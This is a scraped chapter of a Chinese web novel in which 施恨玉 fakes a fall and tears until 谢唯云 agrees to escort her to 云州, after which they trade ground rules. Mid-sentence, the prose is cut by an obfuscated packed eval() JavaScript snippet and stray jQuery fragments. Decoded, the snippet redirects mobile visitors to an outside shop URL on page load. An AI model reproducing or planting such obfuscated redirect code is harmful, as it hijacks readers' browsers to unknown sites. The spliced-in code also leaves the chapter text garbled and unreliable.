文趣网 > 其他小说 > 今日宜诈尸 > 9. 莫纠缠
    二人出城还算顺利,只是谢唯云步子迈得大,施恨玉要小跑着才能跟上。

    待他步子慢下,施恨玉心里正稍稍松了口气,谢唯云却闪进了前方的林子。

    她看着树叶还在晃动的林子,蹲下去,从路边捡了块稍大的石头,朝着某一方向使劲砸了过去。

    “咚”的一声,石头砸在树干上弹开了,紧接着是一声闷哼。

    施恨玉拍了拍手上的泥,扬声道:“砸着哪儿了?你疼不疼啊?”

    谢唯云捂着肩膀从树影里走出来,郁闷道:“你怎么连我往哪边躲都知道?”

    她扑哧一笑:“上回在山里你面对那些匪徒就是这样,看着往左躲,其实往右。我记住了而已。”

    谢唯云认命般点点头,眼见甩不掉施恨玉,他走近她。

    “你跟着我做什么?”谢唯云拧眉问她。

    施恨玉嘴里振振有词:“你答应送我的。”

    “我说的送,是把你安全送进城中去同你母亲团聚,而不是让你一直跟在我身后。”谢唯云紧盯着她,严肃道。

    “那你走你的,我走我的呗。你怎么那么霸道,还不允许有人和你同路。”

    谢唯云看着她那一股子倔劲,无奈地叹了口气,没再搭理她,转过身,大步流星地往前走去。

    “你走慢点!”施恨玉边喊边追。

    他没理她,走得倒更快了。

    施恨玉看着他那副要把她甩开的架势,灵机一动。她脚下一绊,整个人往前一扑,结结实实地摔在了一旁的草地上。

    “哎呀!”她趴在地上,睨着他的身影,刻意喊叫着。

    谢唯云脚步停顿,走了回来,抱着手静静地看她。

    施恨玉低垂着头,肩膀耸动着,抽抽噎噎地像在哭诉。

    谢唯云在她面前蹲下,伸手想拨开她垂在脸前的头发,她倒先抬头了。

    “你装的。”他心头冒出被戏耍的愠怒,缩回手,直起身来。

    “我哪有,我现下走不动了,你背我好吗?”施恨玉抹了抹不存在的泪,仰起头,恳切道。

    “你这回怎么不怕我把你背着摔成残废?”谢唯云取笑道。

    施恨玉听了只觉两眼一黑,她就说这男人十分记仇嘛。

    “我不怕呀。”她讨好般笑笑。

    然而回应她的确是冰冷的一句:“不背。”

    施恨玉脸一僵,“哼”了一声,蛮横道:“好啊,那我就在这儿坐着,坐到天黑,坐到明天,坐到谢府的人找过来把我抓回去埋了。我还要供出你,我们要死一起死。”

    一起死,做一对亡命鸳鸯吗?

    他被自己的想法吓了一跳,连忙别开眼,冷硬道:“你走不走随你,我可先走了。”

    他说着真的转了身,迈开步子继续往前走,步子比方才是慢了些,可到底还是没停。

    “我的脚好疼啊,定是昨儿挣扎时磕伤了,现在怎么走一步都疼。”施恨玉撅着嘴,“你快走吧,不用管我。”

    谢唯云仅犹豫一息,便奔回施恨玉身旁。

    她低着头揉脚踝,蹙着眉头,看起来倒真像那么一回事。

    谢唯云伸手去够她脚踝,施恨玉把脚一缩,眼底那点狡黠是藏不住了。

    “呀,你怎么就回来了?”施恨玉颇为得意。

    他看着她,嘴角抽动了一下,随即把手收回来,没好气道:“你哪只脚磕了?”

    “两只都磕了。”

    “哪只更疼?”

    “看心情。”

    谢唯云深吐几口气,缓了缓气息。

    施恨玉趁机一把攥住他的手,她攥得很紧,借着力站起来。站起后她也不松手,就那样攥着,还仰着脸挑衅地冲他笑了一下。

    她的指腹贴着他的掌心,谢唯云试着挣了挣,奈何施恨玉力气格外的大,他没挣开。

    谢唯云咬牙道:“松手。”

    “不松,松了你待会又跑了。”

    “我不跑。”他向她保证。

    “我才不信你,你方才就跑得跟后面有鬼撵着似的。”她攥得更紧了些,往他身边凑近,几乎贴着他胳膊站,“你要走就带着我一起走。你走一步我跟着一步,你跑一步我跑一步,你把我甩开了我就在原地哭诉你抛弃我,就算把谢府的人引来我也不怕。”

    他被她噎得说不出话,看着她耍赖的模样也无可奈何。两人就这样僵在路边,她的手攥着他的手,他的脸偏到一边不看她。

    路过的挑夫扛着扁担经过,瞥了他们一眼,又别开脸去,嘴角压着笑。

    谢唯云终于受不了,他板着脸:“你到底想要干什么?”

    “你送我去云州。”施恨玉总算正经了一回。

    “除了这个。”他无情地拒绝,忽觉手上一松,还没来得及喘口气,只听一声闷响,施恨玉跪坐在地,两只胳膊环住了他一条腿,脸贴着他膝盖侧面,当场嚎了出来。

    施恨玉像是生怕路人听不见,哭声尤为嘹亮。

    谢唯云低头看着她,大脑白茫茫的一片。他动手去掰她环着他腿的手臂,可她那胳膊箍得紧,非但没掰动,她倒顺势哭得更大声了。

    路上有老汉听见哭声放慢了步子,抻着脖子往这边张望。老汉身后还跟着个挎着篮子的妇人,她也停下来,两人交头接耳地嘀咕了两句什么。

    谢唯云满脸通红,弯下腰,焦急道:“你别哭,快起来,有人。”

    “我不要,你还没答应我。”施恨玉硬赖道。

    谢唯云焦灼万分间,老汉已走到跟前。

    他弯腰看了看地上抱着腿哭得稀里哗啦的姑娘,又抬头看了看站在那里手足无措的年轻人,他捋了捋胡须,慢悠悠地开口:“小伙子,这是你媳妇?”

    “不是。”谢唯云脱口而出。

    “是。”施恨玉连连点头,接了一嘴。

    老汉“哦”了一声,露出了然神色,摆了摆手,语重心长道:“小两口闹别扭嘛,好好哄哄就是了。大路上哭成这样,多不好看。”

    被施恨玉一折腾,谢唯云倒无力再解释什么。

    他眉目冷冽,朝她伸出手,懒懒道:“哭什么,我带你走就是了。”

    谁曾想,施恨玉一把拍开他的手,哭声

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676492|207486||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    更大。

    他蹲下身,跟她平视着。

    施恨玉抬起眼皮看他,那双眼睛还湿漉漉的,泪珠子在睫毛上颤颤巍巍地挂着,看上去很是可怜,像在控诉着什么天大的不公。

    谢唯云张了张嘴,又闭上。对着她这副模样,他怎么也说不出“你别闹了”这句话。

    “起来。”他的声音软了几分:“我好好送你,不跑了,好吗?”

    施恨玉眨了眨眼,挂着的泪珠又滚下来,嘴角弯弯地翘起来:“真的?”

    “真的,但要约法三章。”他把她环着他腿的手臂轻轻掰开,托着她手肘将她从地上扶起来。

    他伸出一根手指:“第一,不许动不动就哭。”

    见她要反驳,他又改口:“算了,哭也可以,但不许拿哭当招数。招数用一次就够用了,再用就不灵了。”

    施恨玉想了想,点点头:“行。”

    “第二,”他竖起第二根手指,“离我一尺远,不许靠太近。”

    施恨玉下意识往前凑了一步,却被他伸过来的手掌抵住肩头推了回去。

    “一尺。”他重复道。

    施恨玉嘴上应着“好好好”,可脚底下那步退得却敷衍极了,她的脚离他的距离也没怎么变化。

    他盯着她的脚步看了一瞬,放弃了跟她较这个真,又道:“第三,等到了云州,咱俩就两清。你走你的阳关道,我过我的独木桥,谁也别找谁。”

    “好。”这点,施恨玉倒很爽快地答应。

    她应下得这般快,谢唯云松了口气,心却又莫名空落落的。

    “不能光你一个人说,我也有三条。”施恨玉站到他跟前,认真道。

    他挑了挑眉:“嗯?”

    “第一,你不能再甩开我。不管去哪儿,你都得带着我。”

    “第二,路上要是遇到危险,你不能自己跑在前面把我丢在后头。”

    “第三……第三还没想好,先欠着。”

    谢唯云笑了笑,也没说答不答应,就领着人向前走。他步子不知不觉放慢了些,好让她不用小跑着才能跟得上。

    起初,施恨玉就那么跟在旁边,不远不近的,衣角被风轻轻扬起来,拂过他垂在身侧的手背。他的手指缩了一下,又若无其事地松开。

    他走出去好几步,听见身后突然没了动静,一回头就见施恨玉一屁股坐在了路边。

    她张着嘴,看样子正打算唤他。

    谢唯云快步走去,见她隐忍模样,不禁问道:“你脚真疼啊?”

    施恨玉声音染上几分委屈:“真疼,从夜里到现在,我走了好久的路,脚底都磨出泡了。”

    “那歇一会儿再走。”谢唯云往地上一坐,从包袱里摸出一块油纸包着的干饼递给她,自己则到旁出靠着树干闭了眼。

    施恨玉确实饿了,她接过饼咬了一口,硬邦邦的。她嚼了好多下才勉强咽下去,又配了一口水囊里的凉水。

    她看出他没睡着,便挪到他身侧,戳了戳他,问道:“喂,你说我们相识了这么久,我还不知道你叫什么呢,我不能总喂来喂去的吧。”